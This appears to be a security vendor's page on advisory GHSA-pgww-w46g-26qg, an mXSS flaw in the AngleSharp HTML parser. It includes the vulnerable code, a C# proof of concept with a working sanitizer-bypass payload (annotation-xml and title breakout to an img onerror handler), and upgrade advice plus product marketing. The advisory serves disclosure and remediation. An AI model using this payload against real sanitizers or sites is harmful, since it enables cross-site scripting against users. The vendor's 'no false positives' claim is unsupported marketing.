GHSA-pgww-w46g-26qg
MEDIUMGHSA-pgww-w46g-26qg is a medium-severity (CVSS 6.9) CWE-80 vulnerability in AngleSharp. O3 Security confirms whether GHSA-pgww-w46g-26qg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pgww-w46g-26qg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pgww-w46g-26qg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 370,894 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
AngleSharpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235
Details
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
PoC
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img> – SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Impact
Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.
This reduces AngleSharp's credibility as a conformant HTML parser.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | AngleSharp | all versions | 1.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for AngleSharp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update AngleSharp to 1.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pgww-w46g-26qg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pgww-w46g-26qg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pgww-w46g-26qg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pgww-w46g-26qg in your dependencies?
O3 detects GHSA-pgww-w46g-26qg across NuGet dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.